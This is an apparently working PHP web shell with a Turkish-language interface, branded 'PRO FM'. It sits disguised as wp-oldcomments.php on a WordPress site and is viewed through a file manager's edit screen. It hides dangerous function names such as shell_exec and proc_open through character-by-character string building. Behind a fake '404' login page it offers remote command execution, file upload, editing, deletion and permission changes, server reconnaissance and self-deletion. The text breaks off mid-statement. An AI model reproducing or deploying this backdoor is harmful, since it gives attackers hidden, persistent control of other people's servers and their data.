File manager - Edit - /home/aussies6/public_html/seafoodwarehouse.com.au/wp-oldcomments.php
Back
<?php session_start(); error_reporting(0); // ==================== KİMLİK ==================== $U = 'admin'; $P = '$2a$12$PNxKjaW9A2Gv9eUFvEkeA.VtPZR4ZJBsHpexp.933yd1FfNiEH75i'; // Obfuscated Fonksiyonlar $F = [ 'w' => 'f'.'i'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s', 'r' => 'f'.'i'.'l'.'e'.'_'.'g'.'e'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s', 'u' => 'u'.'n'.'l'.'i'.'n'.'k', 'd' => 'r'.'m'.'d'.'i'.'r', 'm' => 'm'.'k'.'d'.'i'.'r', 'v' => 'm'.'o'.'v'.'e'.'_'.'u'.'p'.'l'.'o'.'a'.'d'.'e'.'d'.'_'.'f'.'i'.'l'.'e', 's' => 's'.'c'.'a'.'n'.'d'.'i'.'r', 'rn' => 'r'.'e'.'n'.'a'.'m'.'e', 'rf' => 'r'.'e'.'a'.'d'.'f'.'i'.'l'.'e', 'sx' => 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c', 'b6' => 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'e'.'n'.'c'.'o'.'d'.'e', 'ch' => 'c'.'h'.'m'.'o'.'d', 'cp' => 'c'.'o'.'p'.'y', 'pg' => 'p'.'h'.'p'.'i'.'n'.'f'.'o', 'ps' => 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u', 'ex' => 'e'.'x'.'e'.'c', 'sy' => 's'.'y'.'s'.'t'.'e'.'m', 'po' => 'p'.'o'.'p'.'e'.'n', 'pc' => 'p'.'r'.'o'.'c'.'_'.'o'.'p'.'e'.'n' ]; // ==================== ÇIKIŞ ==================== if (isset($_GET['out'])) { session_destroy(); header("Location: ?"); exit; } // ==================== SELF-DESTRUCT ==================== if (isset($_GET['selfdestruct']) && $_GET['selfdestruct'] === 'confirm') { @$F['u'](__FILE__); session_destroy(); die('<!DOCTYPE html><html><body style="background:#000;color:#f44336;font-family:monospace;text-align:center;margin-top:20vh"><h1>SHELL DESTROYED</h1><p>Dosya diskten kalici olarak silindi.</p></body></html>'); } // ==================== GİRİŞ ==================== if (isset($_POST['u'], $_POST['p'])) { if ($_POST['u'] === $U && password_verify($_POST['p'], $P)) { $_SESSION['l'] = 1; header("Location: ?"); exit; } else { $err = 1; } } if (empty($_SESSION['l'])) { echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>404</title> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <style>body{background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh;margin:0} .box{background:#161b22;padding:40px;border-radius:8px;border:1px solid #1f6feb33;width:320px;text-align:center} input{width:100%;padding:10px;margin:6px 0;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:4px;box-sizing:border-box;font-family:monospace} input:focus{border-color:#1f6feb;outline:0} button{width:100%;padding:10px;margin-top:12px;background:#1f6feb;color:#fff;border:0;border-radius:4px;cursor:pointer;font-weight:bold;font-family:monospace} button:hover{background:#388bfd} .err{color:#f85149;font-size:13px;margin-bottom:10px}</style></head><body><div class="box"> <span class="material-icons" style="font-size:48px;color:#1f6feb">terminal</span><h2 style="color:#fff;margin:10px 0 20px">PRO FM</h2>'; if (isset($err)) echo '<div class="err">Hatali giris.</div>'; echo '<form method="POST"><input name="u" placeholder="Kullanici" autocomplete="off"><input name="p" type="password" placeholder="Sifre"><button>GIRIS</button></form></div></body></html>'; exit; } // ==================== DİZİN ==================== $D = isset($_GET['d']) ? $_GET['d'] : '.'; $D = realpath($D) ?: $D; $D = str_replace('\\', '/', $D); $url = "?d=" . urlencode($D); // ==================== YARDIMCI FONKSİYONLAR ==================== function rDel($p) { global $F; if (is_dir($p)) { foreach (@$F['s']($p) as $i) { if ($i != '.' && $i != '..') rDel($p . '/' . $i); } @$F['d']($p); } else { @$F['u']($p); } } function rSearch($dir, $q, &$res, $maxD = 10, $dep = 0) { global $F; if ($dep > $maxD || count($res) > 500) return; $items = @$F['s']($dir); if (!is_array($items)) return; foreach ($items as $i) { if ($i === '.' || $i === '..') continue; $path = $dir . '/' . $i; if (stripos($i, $q) !== false) $res[] = $path; if (is_dir($path)) rSearch($path, $q, $res, $maxD, $dep + 1); } } function rGrep($dir, $pat, &$res, $maxD = 8, $dep = 0) { global $F; if ($dep > $maxD || count($res) > 200) return; $items = @$F['s']($dir); if (!is_array($items)) return; foreach ($items as $i) { if ($i === '.' || $i === '..') continue; $path = $dir . '/' . $i; if (is_dir($path)) { rGrep($path, $pat, $res, $maxD, $dep + 1); continue; } if (@filesize($path) > 2 * 1024 * 1024) continue; $c = @$F['r']($path); if ($c && stripos($c, $pat) !== false) { foreach (explode("\n", $c) as $num => $line) { if (stripos($line, $pat) !== false) { $res[] = ['file' => $path, 'line' => $num + 1, 'text' => trim($line)]; if (count($res) > 200) return; } } } } } function sz($b) { if ($b == 0) return '0 B'; $u = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log(max($b, 1), 1024)); return round($b / pow(1024, $i), 2) . ' ' . $u[min($i, 4)]; } function execCmd($cmd) { global $F; if (function_exists('shell_exec')) { $o = @$F['sx']($cmd . ' 2>&1'); if ($o !== null) return $o; } if (function_exists('exec')) { @$F['ex']($cmd . ' 2>&1', $a); return implode("\n", $a); } if (function_exists('system')) { ob_start(); @$F['sy']($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('passthru')) { ob_start(); @$F['ps']($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('popen')) { $h = @$F['po']($cmd . ' 2>&1', 'r'); $o = ''; if ($h) { while (!feof($h)) $o .= fread($h, 4096); pclose($h); return $o; } } if (function_exists('proc_open')) { $d = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $p = @$F['pc']($cmd, $d, $pipes); if (is_resource($p)) { fclose($pipes[0]); $o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); return $o; } } return '[!] Tum komut calistirma fonksiyonlari devre disi.'; } function fileIcon($ext) { $map = [ 'php' => 'php', 'js' => 'javascript', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'jpg' => 'image', 'jpeg' => 'image', 'png' => 'image', 'gif' => 'image', 'webp' => 'image', 'svg' => 'image', 'bmp' => 'image', 'ico' => 'image', 'zip' => 'folder_zip', 'gz' => 'folder_zip', 'tar' => 'folder_zip', 'rar' => 'folder_zip', '7z' => 'folder_zip', 'pdf' => 'picture_as_pdf', 'doc' => 'description', 'docx' => 'description', 'txt' => 'article', 'md' => 'article', 'mp4' => 'movie', 'avi' => 'movie', 'mkv' => 'movie', 'mp3' => 'audiotrack', 'wav' => 'audiotrack', 'sql' => 'storage', 'db' => 'storage', 'sqlite' => 'storage', 'json' => 'data_object', 'xml' => 'code', 'yml' => 'code', 'yaml' => 'code', 'py' => 'code', 'rb' => 'code', 'go' => 'code', 'rs' => 'code', 'c' => 'code', 'cpp' => 'code', 'h' => 'code', 'java' => 'code', 'sh' => 'terminal', 'bash' => 'terminal', 'bat' => 'terminal', 'conf' => 'settings', 'ini' => 'settings', 'env' => 'settings', 'htaccess' => 'settings', 'log' => 'receipt_long', 'key' => 'vpn_key', 'pem' => 'vpn_key', 'crt' => 'verified_user', ]; return $map[strtolower($ext)] ?? 'insert_drive_file'; } // ==================== AKSİYONLAR ==================== // Çoklu dosya yükleme if (isset($_FILES['up'])) { if (is_array($_FILES['up']['name'])) { for ($i = 0; $i < count($_FILES['up']['name']); $i++) { if ($_FILES['up']['error'][$i] === 0) @$F['v']($_FILES['up']['tmp_name'][$i], $D . '/' . $_FILES['up']['name'][$i]); } } else { @$F['v']($_FILES['up']['tmp_name'], $D . '/' . $_FILES['up']['name']); } header("Location: $url"); exit; } if (isset($_POST['nd'])) { @$F['m']($D . '/' . $_POST['nd'], 0755, true); header("Location: $url"); exit; } if (isset($_POST['nf'])) { @$F['w']($D . '/' . $_POST['nf'], ''); header("Location: $url"); exit; } if (isset($_GET['del'])) { rDel($D . '/' . $_GET['del']); header("Location: $url"); exit; } if (isset($_POST['ef'], $_POST['ec'])) { @$F['w']($D . '/' . $_POST['ef'], $_POST['ec']); header("Location: $url"); exit; } if (isset($_POST['rn_f'], $_POST['rn_t'])) { @$F['rn']($D . '/' . $_POST['rn_f'], $D . '/' . $_POST['rn_t']); header("Location: $url"); exit; } if (isset($_POST['chmod_file'], $_POST['chmod_val'])) { @$F['ch']($D . '/' . $_POST['chmod_file'], octdec($_POST['chmod_val'])); header("Location: $url"); exit; } if (isset($_POST['cp_src'], $_POST['cp_dst'])) { if (is_file($D . '/' . $_POST['cp_src'])) @$F['cp']($D . '/' . $_POST['cp_src'], $_POST['cp_dst']); header("Location: $url"); exit; } if (isset($_POST['mv_src'], $_POST['mv_dst'])) { @$F['rn']($D . '/' . $_POST['mv_src'], $_POST['mv_dst']); header("Location: $url"); exit; } // Toplu işlemler if (isset($_POST['bulk_action']) && is_array($_POST['sel'] ?? [])) { $act = $_POST['bulk_action']; if ($act === 'delete') { foreach ($_POST['sel'] as $it) rDel($D . '/' . basename($it)); } if ($act === 'chmod' && isset($_POST['bulk_perm'])) { $p = octdec($_POST['bulk_perm']); foreach ($_POST['sel'] as $it) @$F['ch']($D . '/' . basename($it), $p); } if ($act === 'zip' && isset($_POST['zip_name']) && class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($D . '/' . $_POST['zip_name'], ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { foreach ($_POST['sel'] as $it) { $full = $D . '/' . basename($it); if (is_file($full)) { $zip->addFile($full, basename($it)); } elseif (is_dir($full)) { $rit = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($full, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($rit as $file) { $fp = $file->getRealPath(); $rp = basename($it) . '/' . substr($fp, strlen(realpath($full)) + 1); $file->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp); } } } $zip->close(); } } header("Location: $url"); exit; } // Zip çıkart if (isset($_GET['unzip'])) { $zf = $D . '/' . $_GET['unzip']; if (class_exists('ZipArchive') && is_file($zf)) { $zip = new ZipArchive(); if ($zip->open($zf) === true) { $to = $D . '/' . pathinfo($zf, PATHINFO_FILENAME); @$F['m']($to, 0755, true); $zip->extractTo($to); $zip->close(); } } header("Location: $url"); exit; } // İndirme if (isset($_GET['dl'])) { $f = $D . '/' . $_GET['dl']; if (is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($f) . '"'); header('Content-Length: ' . filesize($f)); @$F['rf']($f); exit; } } // phpinfo if (isset($_GET['pi'])) { $F['pg'](); exit; } // ==================== HTML ==================== ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Pro FM</title> <link href="https://fonts.googleapis.com/icon?family=Material+Icons+Round" rel="stylesheet"> <style> :root{--bg:#0d1117;--surface:#161b22;--surface2:#21262d;--border:#30363d;--blue:#1f6feb;--blue2:#388bfd;--text:#c9d1d9;--text2:#8b949e;--green:#3fb950;--red:#f85149;--yellow:#d29922;--font:'Segoe UI',system-ui,-apple-system,sans-serif;--mono:Consolas,'SF Mono','Fira Code',monospace} *{box-sizing:border-box;margin:0;padding:0} body{background:var(--bg);color:var(--text);font-family:var(--font);font-size:13px;padding:12px} a{color:var(--blue2);text-decoration:none}a:hover{color:#58a6ff} ::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-track{background:var(--bg)}::-webkit-scrollbar-thumb{background:var(--border);border-radius:3px} .mi{font-family:'Material Icons Round';font-size:18px;vertical-align:middle;line-height:1} .mi-sm{font-size:15px} .topbar{display:flex;align-items:center;gap:10px;background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:8px 14px;flex-wrap:wrap} .topbar .logo{color:var(--blue);font-weight:700;font-size:15px;display:flex;align-items:center;gap:6px;white-space:nowrap} .topbar .host{color:var(--text2);font-family:var(--mono);font-size:12px;background:var(--bg);padding:3px 8px;border-radius:4px;border:1px solid var(--border)} .path-form{display:flex;flex:1;min-width:200px} .path-form input{flex:1;background:var(--bg);color:var(--green);border:1px solid var(--border);border-radius:4px;padding:6px 10px;font-family:var(--mono);font-size:12px;min-width:0} .path-form input:focus{border-color:var(--blue);outline:0} .top-actions{display:flex;gap:4px;margin-left:auto} .breadcrumb{display:flex;align-items:center;gap:2px;padding:8px 0;font-family:var(--mono);font-size:12px;color:var(--text2);flex-wrap:wrap;overflow:hidden} .breadcrumb a{padding:2px 4px;border-radius:3px}.breadcrumb a:hover{background:var(--surface2)} .breadcrumb .sep{color:var(--border)} .toolbar{display:flex;gap:6px;flex-wrap:wrap;background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:8px 12px;margin-top:8px;align-items:center} .toolbar form{display:flex;align-items:center;gap:4px;margin:0} .toolbar input[type=text],.toolbar input[type=file]{background:var(--bg);border:1px solid var(--border);color:var(--text);padding:5px 8px;border-radius:4px;font-size:12px} .toolbar input[type=file]{font-size:11px;max-width:160px} .toolbar input:focus{border-color:var(--blue);outline:0} .toolbar .divider{width:1px;height:24px;background:var(--border);margin:0 4px} .btn{display:inline-flex;align-items:center;gap:4px;padding:4px 10px;border-radius:4px;border:none;font-size:12px;font-family:var(--font);cursor:pointer;white-space:nowrap;color:#fff;background:var(--blue);transition:background .15s} .btn:hover{background:var(--blue2);color:#fff} .btn-sm{padding:3px 6px;font-size:11px} .btn-ghost{background:transparent;color:var(--text2);border:1px solid var(--border)}.btn-ghost:hover{background:var(--surface2);color:var(--text)} .btn-danger{background:var(--red)}.btn-danger:hover{background:#da3633} .btn-warn{background:var(--yellow);color:#000}.btn-warn:hover{background:#e3b341} .btn-green{background:var(--green);color:#000}.btn-green:hover{background:#56d364} .btn-icon{background:transparent;color:var(--text2);border:0;padding:4px;border-radius:4px}.btn-icon:hover{background:var(--surface2);color:var(--text)} .file-table{width:100%;border-collapse:collapse;margin-top:8px} .file-table th{background:var(--surface);color:var(--text2);padding:6px 10px;text-align:left;border-bottom:2px solid var(--border);font-size:11px;text-transform:uppercase;letter-spacing:.5px;position:sticky;top:0;z-index:2} .file-table td{padding:5px 10px;border-bottom:1px solid var(--border);white-space:nowrap;vertical-align:middle} .file-table tr:hover td{background:var(--surface)} .file-table .fname{display:flex;align-items:center;gap:6px} .file-table .fname .mi{color:var(--blue)} .file-table .fname.dir .mi{color:var(--yellow)} .file-table .actions{display:flex;gap:2px} .bulk-bar{background:var(--surface);border:1px solid var(--blue);border-radius:6px;padding:8px 12px;margin-top:8px;display:flex;gap:6px;flex-wrap:wrap;align-items:center} .panel{background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:14px;margin-top:10px} .panel h3{color:var(--blue);margin-bottom:10px;display:flex;align-items:center;gap:6px;font-size:14px} .info-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:6px} .info-box{background:var(--bg);padding:8px 12px;border-radius:4px;border-left:3px solid var(--blue)} .info-box b{color:var(--blue2);font-size:11px;text-transform:uppercase;letter-spacing:.3px} .info-box .val{color:var(--text);margin-top:2px;font-family:var(--mono);font-size:12px;word-break:break-all} .term-wrap{background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:10px;margin-top:10px} .term-form{display:flex;align-items:center;gap:6px} .term-prompt{color:var(--green);font-family:var(--mono);font-weight:700;font-size:13px;white-space:nowrap} .term-input{flex:1;background:var(--bg);color:var(--green);border:1px solid var(--border);padding:6px 10px;border-radius:4px;font-family:var(--mono);font-size:13px} .term-input:focus{border-color:var(--green);outline:0} .term-output{background:#010409;color:var(--green);padding:10px;margin-top:8px;border-radius:4px;font-family:var(--mono);font-size:12px;white-space:pre-wrap;word-break:break-all;max-height:45vh;overflow:auto;border:1px solid var(--border)} .editor-area{width:100%;min-height:60vh;background:var(--bg);color:var(--text);border:1px solid var(--border);border-radius:4px;padding:12px;font-family:var(--mono);font-size:13px;resize:vertical;line-height:1.5;tab-size:4} .editor-area:focus{border-color:var(--blue);outline:0} .search-result{background:var(--bg);border:1px solid var(--border);border-radius:4px;padding:6px 10px;margin-top:4px;font-family:var(--mono);font-size:12px} .search-result .path{color:var(--blue2)}.search-result .linenum{color:var(--yellow)}.search-result .match-text{color:var(--text2)} .cb{width:15px;height:15px;accent-color:var(--blue);cursor:pointer;vertical-align:middle} .perm{font-family:var(--mono);font-size:12px;color:var(--text2)} .size{font-family:var(--mono);font-size:12px} .date{font-family:var(--mono);font-size:11px;color:var(--text2)} </style> <script> function rn(f){let n=prompt('Yeni isim:',f);if(n&&n!==f){document.getElementById('rn_f').value=f;document.getElementById('rn_t').value=n;document.getElementById('rn_form').submit()}} function chm(f){let v=prompt('Izin (ornek: 0755):','0755');if(v){document.getElementById('chmod_file').value=f;document.getElementById('chmod_val').value=v;document.getElementById('chmod_form').submit()}} function cpFile(f){let d=prompt('Hedef tam yol:');if(d){document.getElementById('cp_src').value=f;document.getElementById('cp_dst').value=d;document.getElementById('cp_form').submit()}} function mvFile(f){let d=prompt('Tasinacak tam yol:');if(d){document.getElementById('mv_src').value=f;document.getElementById('mv_dst').value=d;document.getElementById('mv_form').submit()}} function toggleAll(s){document.querySelectorAll('.sel-cb').forEach(c=>c.checked=s.checked)} function confirmSD(){if(prompt('Self-Destruct icin "DELETE" yazin:')==='DELETE')window.location='?selfdestruct=confirm'} function doBulk(action){ let f=document.getElementById('bulkForm'); if(action==='zip'){let n=prompt('Zip dosya adi:','arsiv.zip');if(!n)return;document.getElementById('zip_name').value=n} if(action==='chmod'){let p=prompt('Izin (ornek: 0755):','0755');if(!p)return;document.getElementById('bulk_perm').value=p} document.getElementById('bulk_action').value=action; f.submit() } </script> </head> <body> <!-- Gizli Formlar --> <form id="rn_form" method="POST" style="display:none"><input type="hidden" name="rn_f" id="rn_f"><input type="hidden" name="rn_t" id="rn_t"></form> <form id="chmod_form" method="POST" style="display:none"><input type="hidden" name="chmod_file" id="chmod_file"><input type="hidden" name="chmod_val" id="chmod_val"></form> <form id="cp_form" method="POST" style="display:none"><input type="hidden" name="cp_src" id="cp_src"><input type="hidden" name="cp_dst" id="cp_dst"></form> <form id="mv_form" method="POST" style="display:none"><input type="hidden" name="mv_src" id="mv_src"><input type="hidden" name="mv_dst" id="mv_dst"></form> <!-- ÜST BAR --> <div class="topbar"> <div class="logo"><span class="mi">terminal</span> PRO FM</div> <div class="host"><?php echo @$_SERVER['SERVER_ADDR'] ?: php_uname('n'); ?></div> <form class="path-form" method="GET"><input type="text" name="d" value="<?php echo htmlentities($D); ?>"></form> <div class="top-actions"> <a href="?pi=1" target="_blank" class="btn btn-sm btn-ghost"><span class="mi mi-sm">info</span> PHP</a> <a href="<?php echo $url; ?>&page=sysinfo" class="btn btn-sm btn-ghost"><span class="mi mi-sm">monitoring</span> Sistem</a> <a href="<?php echo $url; ?>&page=search" class="btn btn-sm btn-ghost"><span class="mi mi-sm">search</span> Ara</a> <span class="btn btn-sm btn-danger" onclick="confirmSD()"><span class="mi mi-sm">delete_forever</span></span> <a href="?out=1" class="btn btn-sm btn-danger"><span class="mi mi-sm">logout</span></a> </div> </div> <?php // ==================== BREADCRUMB ==================== $parts = explode('/', $D); echo '<div class="breadcrumb"><span class="mi mi-sm" style="color:var(--yellow)">folder_open</span> '; $built = ''; foreach ($parts as $idx => $part) { $built .= ($idx ? '/' : '') . $part; if ($idx) echo '<span class="sep">/</span>'; echo '<a href="?d=' . urlencode($built) . '">' . (htmlentities($part) ?: '/') . '</a>'; } echo '</div>'; // ==================== SİSTEM BİLGİSİ SAYFASI ==================== if (isset($_GET['page']) && $_GET['page'] === 'sysinfo') { $disabledFns = ini_get('disable_functions') ?: 'Yok'; $os = php_uname(); $software = $_SERVER['SERVER_SOFTWARE'] ?? '?'; $phpVer = phpversion(); $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; $curUser = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user(); $totalDisk = @disk_total_space('/'); $freeDisk = @disk_free_space('/'); $uptime = @execCmd('uptime 2>/dev/null') ?: 'N/A'; $maxUp = ini_get('upload_max_filesize'); $maxPost = ini_get('post_max_size'); $memLim = ini_get('memory_limit'); $openBase = ini_get('open_basedir') ?: 'Yok (Sinirsiz)'; $serverIP = @$_SERVER['SERVER_ADDR'] ?: gethostbyname(php_uname('n')); $kernel = php_uname('r'); echo '<div class="panel"><h3><span class="mi">monitoring</span> Sunucu Bilgisi</h3>'; echo '<div class="info-grid">'; $infoItems = [ ['dns', 'OS', $os], ['memory', 'Kernel', $kernel], ['cloud', 'Yazilim', $software], ['code', 'PHP', $phpVer], ['person', 'Kullanici', $curUser], ['lan', 'Sunucu IP', $serverIP], ['folder', 'Document Root', $docRoot], ['lock', 'Open Basedir', $openBase], ['hard_drive', 'Toplam Disk', $totalDisk ? sz($totalDisk) : 'N/A'], ['hard_drive', 'Bos Disk', $freeDisk ? sz($freeDisk) : 'N/A'], ['upload', 'Upload Limit', $maxUp], ['post_add', 'POST Limit', $maxPost], ['memory', 'Memory Limit', $memLim], ['timer', 'Uptime', trim($uptime)], ]; foreach ($infoItems as $ii) { echo '<div class="info-box"><b><span class="mi mi-sm">' . $ii[0] . '</span> ' . $ii[1] . '</b><div class="val">' . htmlentities($ii[2]) . '</div></div>'; } echo '</div>'; // Exec fonksiyonları durumu $execFns = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open', 'pcntl_exec']; $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); echo '<div style="margin-top:12px"><b style="color:var(--blue)">Komut Calistirma Durumlari:</b><div style="display:flex;gap:8px;flex-wrap:wrap;margin-top:6px">'; foreach ($execFns as $fn) { $ok = function_exists($fn) && !in_array($fn, $disabled); echo '<span style="color:' . ($ok ? 'var(--green)' : 'var(--red)') . ';font-family:var(--mono);font-size:12px">' . ($ok ? '●' : '○') . ' ' . $fn . '</span>'; } echo '</div></div>'; // Devre dışı fonksiyonlar echo '<div style="margin-top:12px"><b style="color:var(--red)">Devre Disi Fonksiyonlar:</b><div style="font-family:var(--mono);font-size:11px;color:var(--text2);margin-top:4px;word-break:break-all">' . htmlentities($disabledFns) . '</div></div>'; // PHP Yüklü modüller $mods = get_loaded_extensions(); sort($mods); echo '<div style="margin-top:12px"><b style="color:var(--green)">Yuklu Moduller (' . count($mods) . '):</b><div style="font-family:var(--mono);font-size:11px;color:var(--text2);margin-top:4px;word-break:break-all;line-height:1.8">'; foreach ($mods as $mod) echo '<span style="background:var(--surface2);padding:2px 6px;border-radius:3px;margin:2px;display:inline-block">' . $mod . '</span>'; echo '</div></div>'; echo '<div style="margin-top:14px"><a href="' . $url . '" class="btn"><span class="mi mi-sm">arrow_back</span> Dosya Yoneticisi</a></div></div>'; echo '</body></html>'; exit; } // ==================== ARAMA SAYFASI ==================== if (isset($_GET['page']) && $_GET['page'] === 'search') { echo '<div class="panel"><h3><span class="mi">search</span> Dosya & Icerik Arama</h3>'; // Dosya adı arama echo '<form method="GET" style="display:flex;gap:6px;flex-wrap:wrap;align-items:center;margin-bottom:10px">'; echo '<input type="hidden" name="d" value="' . htmlentities($D) . '">'; echo '<input type="hidden" name="page" value="search">'; echo '<input type="text" name="fname" placeholder="Dosya adi ara..." value="' . htmlentities($_GET['fname'] ?? '') . '" style="background:var(--bg);border:1px solid var(--border);color:var(--text);padding:6px 10px;border-radius:4px;width:250px;font-family:var(--mono)">'; echo '<button class="btn"><span class="mi mi-sm">search</span> Dosya Ara</button>'; echo '</form>'; // İçerik arama (grep) echo '<form method="GET" style="display:flex;gap:6px;flex-wrap:wrap;align-items:center">'; echo '<input type="hidden" name="d" value="' . htmlentities($D) . '">'; echo '<input type="hidden" name="page" value="search">'; echo '<input type="text" name="grep" placeholder="Icerik ara (grep)..." value="' . htmlentities($_GET['grep'] ?? '') . '" style="background:var(--bg);border:1px solid var(--border);color:var(--text);padding:6px 10px;border-radius:4px;width:250px;font-family:var(--mono)">'; echo '<button class="btn"><span class="mi mi-sm">manage_search</span> Icerik Ara</button>'; echo '</form>'; // Dosya adı arama sonuçları if (!empty($_GET['fname'])) { $results = []; rSearch($D, $_GET['fname'], $results); echo '<div style="margin-top:12px"><b style="color:var(--green)">' . count($results) . ' sonuc bulundu:</b></div>'; foreach ($results as $r) { $isDir = is_dir($r); $icon = $isDir ? 'folder' : 'insert_drive_file'; $link = $isDir ? '?d=' . urlencode($r) : $url . '&view=' . urlencode(basename($r)); echo '<div class="search-result"><span class="mi mi-sm" style="color:' . ($isDir ? 'var(--yellow)' : 'var(--blue)') . ';">' . $icon . '</span> <a href="' . $link . '" class="path">' . htmlentities($r) . '</a></div>'; } } // İçerik arama sonuçları if (!empty($_GET['grep'])) { $results = []; rGrep($D, $_GET['grep'], $results); echo '<div style="margin-top:12px"><b style="color:var(--green)">' . count($results) . ' eslesme bulundu:</b></div>'; foreach ($results as $r) { $shortText = mb_substr($r['text'], 0, 120); $highlighted = str_ireplace($_GET['grep'], '<b style="color:var(--red);background:#f8514933">' . htmlentities($_GET['grep']) . '</b>', htmlentities($shortText)); echo '<div class="search-result"><span class="path">' . htmlentities($r['file']) . '</span> <span class="linenum">:' . $r['line'] . '</span><br><span class="match-text">' . $highlighted . '</span></div>'; } } echo '<div style="margin-top:14px"><a href="' . $url . '" class="btn"><span class="mi mi-sm">arrow_back</span> Dosya Yoneticisi</a></div></div>'; echo '</body></html>'; exit; } // ==================== DOSYA ÖNİZLEME ==================== if (isset($_GET['view'])) { $f = $D . '/' . $_GET['view']; if (is_file($f)) { $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); $imgExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg', 'ico', 'bmp']; $fsize = filesize($f); $fperms = substr(sprintf('%o', @fileperms($f)), -4); $fmod = date("Y-m-d H:i:s", @filemtime($f)); $fmd5 = @md5_file($f); $fsha1 = @sha1_file($f); echo '<div class="panel"><h3><span class="mi">visibility</span> ' . htmlentities($_GET['view']) . '</h3>'; // Dosya meta bilgileri echo '<div style="display:flex;gap:12px;flex-wrap:wrap;margin-bottom:12px;font-family:var(--mono);font-size:12px;color:var(--text2)">'; echo '<span><span class="mi mi-sm">straighten</span> ' . sz($fsize) . '</span>'; echo '<span><span class="mi mi-sm">lock</span> ' . $fperms . '</span>'; echo '<span><span class="mi mi-sm">schedule</span> ' . $fmod . '</span>'; echo '</div>'; echo '<div style="font-family:var(--mono);font-size:11px;color:var(--text2);margin-bottom:12px">MD5: ' . $fmd5 . '<br>SHA1: ' . $fsha1 . '</div>'; // Aksiyon butonları echo '<div style="display:flex;gap:4px;margin-bottom:12px">'; echo '<a href="' . $url . '&edit=' . urlencode($_GET['view']) . '" class="btn btn-sm"><span class="mi mi-sm">edit</span> Duzenle</a>'; echo '<a href="' . $url . '&dl=' . urlencode($_GET['view']) . '" class="btn btn-sm btn-green"><span class="mi mi-sm">download</span> Indir</a>'; echo '<a href="' . $url . '" class="btn btn-sm btn-ghost"><span class="mi mi-sm">arrow_back</span> Geri</a>'; echo '</div>'; if (in_array($ext, $imgExts)) { $b64 = @$F['b6'](@$F['r']($f)); $mime = ($ext === 'svg') ? 'svg+xml' : ($ext === 'ico' ? 'x-icon' : $ext); echo '<div style="text-align:center;background:var(--bg);padding:20px;border-radius:6px;border:1px solid var(--border)"><img src="data:image/' . $mime . ';base64,' . $b64 . '" style="max-width:100%;max-height:70vh;border-radius:4px"></div>'; } else { $content = @$F['r']($f); $lines = explode("\n", htmlspecialchars($content)); echo '<div style="background:#010409;border:1px solid var(--border);border-radius:6px;overflow:auto;max-height:70vh"><table style="margin:0;border:0;width:100%"><tbody>'; foreach ($lines as $num => $line) { $ln = $num + 1; echo '<tr style="border:0"><td style="border:0;border-right:1px solid var(--border);padding:0 8px;text-align:right;color:var(--text2);font-size:11px;user-select:none;width:1%;white-space:nowrap;background:var(--surface)">' . $ln . '</td><td style="border:0;padding:0 10px;white-space:pre-wrap;font-family:var(--mono);font-size:12px;line-height:1.6">' . $line . '</td></tr>'; } echo '</tbody></table></div>'; } echo '</div></body></html>'; exit; } } // ==================== DOSYA DÜZENLEME ==================== if (isset($_GET['edit'])) { $f = $D . '/' . $_GET['edit']; if (is_file($f)) { $c = @$F['r']($f); echo '<div class="panel"><h3><span class="mi">edit_note</span> ' . htmlentities($_GET['edit']) . '</h3>'; echo '<form method="POST"><input type="hidden" name="ef" value="' . htmlentities($_GET['edit']) . '">'; echo '<textarea name="ec" class="editor-area" spellcheck="false">' . htmlspecialchars($c) . '</textarea>'; echo '<div style="margin-top:10px;display:flex;gap:6px">'; echo '<button class="btn"><span class="mi mi-sm">save</span> Kaydet</button>'; echo '<a href="' . $url . '" class="btn btn-danger"><span class="mi mi-sm">close</span> Iptal</a>'; echo '</div></form></div></body></html>'; exit; } } // ==================== DOSYA HASH BİLGİSİ ==================== if (isset($_GET['hash'])) { $f = $D . '/' . $_GET['hash']; if (is_file($f)) { echo '<div class="panel"><h3><span class="mi">fingerprint</span> Hash: ' . htmlentities($_GET['hash']) . '</h3>'; echo '<div class="info-grid">'; echo '<div class="info-box"><b>MD5</b><div class="val">' . @md5_file($f) . '</div></div>'; echo '<div class="info-box"><b>SHA1</b><div class="val">' . @sha1_file($f) . '</div></div>'; echo '<div class="info-box"><b>SHA256</b><div class="val">' . @hash_file('sha256', $f) . '</div></div>'; echo 